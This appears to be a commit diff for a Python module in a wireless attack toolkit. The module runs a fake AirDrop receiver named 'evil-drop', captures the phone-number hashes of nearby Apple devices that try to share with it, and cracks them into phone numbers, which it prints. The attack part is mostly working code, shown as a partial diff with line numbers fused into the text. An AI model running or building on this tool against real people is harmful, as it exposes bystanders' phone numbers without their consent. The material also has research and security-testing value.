99import time
1010import hashlib
1111from threading import Thread , Timer
12- from utils .opendrop2 .cli import AirDropCli
13- from utils .opendrop2 .server import get_devices
14-
12+ from utils .opendrop .base import AirDropBase
13+ from utils .hash_validator import check_hash
1514
1615class HomeModule (Module ):
1716
@@ -24,10 +23,10 @@ def __init__(self):
2423 "Author" : "@lucferbux" }
2524
2625 options = {
27- 'interval' : Option .create (name = "inverval" , value = 3 , description = "Seconds to refresh" ),
28- "iface" : Option .create (name = "iface" , value = "wlan0" , description = "Wireless Interface to enable monitor mode" ),
26+ "iface" : Option .create (name = "iface" , value = "wlan0" , description = "Wireless Interface to enable monitor mode" )
2927 }
3028
29+ self .results = {}
3130 # Constructor of the parent class
3231 super (HomeModule , self ).__init__ (information , options )
3332
@@ -42,50 +41,56 @@ def __init__(self):
4241 # 8. if error kill owl -- sudo kill $(sudo ps -A | grep owl | awk '{print $1}')
4342 @is_root
4443 def run (self ):
45- iwdev = str (self .args .get ("iface" , "wlan0" ))
46- interval = int (self .args .get ("interval" , 3 ))
47-
44+ iface = str (self .args .get ("iface" , "wlan0" ))
45+
4846 try :
49- print_info ("Configuring owl interface..." )
50- check_wifi_config (iwdev )
51- time .sleep (1. 5 ) # time to wake up owl process
47+ print ("Configuring owl interface..." )
48+ check_wifi_config (iface )
49+ time .sleep (5 ) # time to wake up owl process
5250 except ModeMonitorException :
53- print_error ("Error, mode monitor not suported in the given interface, press ctr+c to continue" )
51+ print ("Error, mode monitor not suported in the given interface, press ctr+c to continue" )
5452 return
5553 except BadInterfaceException :
56- print_error ("Error, inteface not found, press ctr+c to continue" )
54+ print ("Error, inteface not found, press ctr+c to continue" )
5755 return
5856 except OwlException :
59- print_error ("Error, there was a problem setting up owl, press ctr+c to continue, if not insalled --> https://github.com/seemoo-lab/owl.git" )
57+ print ("Error, there was a problem setting up owl, press ctr+c to continue, if not insalled --> https://github.com/seemoo-lab/owl.git" )
6058 return
6159 except Exception as e :
62- print_error (f"Error, something went wrong configuring the interface, press ctr+c to continue --> { e } " )
60+ print (f"Error, something went wrong configuring the interface, press ctr+c to continue --> { e } " )
6361 return
64-
65- results = {}
66- thread2 = Thread (target = self .start_listetninig , args = ())
67- thread2 .daemon = True
68- thread2 .start ()
69-
62+
7063 try :
71- while True :
72- time .sleep (interval )
73- devs = get_devices ()
74- for dev in devs :
75- hash = dev .get ("hash" , None )
76- hash = hash .replace ("\\ x04)" , "" )
77- hash = hash .replace ("\\ x00)" , "" )
78- if (hash not in results .keys ()):
79- results .update ({hash : dev })
80- #print(f"Someone with phone number hash \033[92m{hash}\033[0m has tried to use AirDrop")
81- print (f"Someone with phone number hash { hash } has tried to use AirDrop" )
64+ self .start_listetninig ()
8265 except :
8366 print ("" )
84- print_error ("Bye" )
67+ print ("Bye" )
8568
86- def start_listetninig (self ):
87- print_info ("[*] Looking for AirDrop senders..." )
88- AirDropCli (["receive" ])
69+ def get_people (self ):
70+ return self .results
71+
72+ def start_listetninig (self , name = "evil-drop" , email = "evilmail@gmail.com" , phone = "34666666666" ):
73+ print ("[*] Looking for AirDrop senders..." )
74+ AirDropBase ("receive" , name = name , callback = self .process_devices , email = email , phone = phone )
8975
9076 def get_hash (self , data ):
9177 return hashlib .sha256 (data .encode ('utf-8' )).hexdigest ()
78+
79+ def process_devices (self , device ):
80+ hash = device .get ("hash" , None )
81+ hash = hash .replace ("\\ x04)" , "" )
82+ hash = hash .replace ("\\ x00)" , "" )
83+ if (hash not in self .results .keys ()):
84+ self .results .update ({hash : {}})
85+ print ("found one..." )
86+ try :
87+ phone = check_hash (hash )
88+ except Exception as e :
89+ print (e )
90+ phone = "None"
91+ if (phone != "None" ):
92+ print (f"Someone with phone number { phone } and hash { hash } has tried to use AirDrop" )
93+ print (self .results )
94+ else :
95+ print (f"Someone with hash { hash } has tried to use AirDrop" )
96+
0 commit comments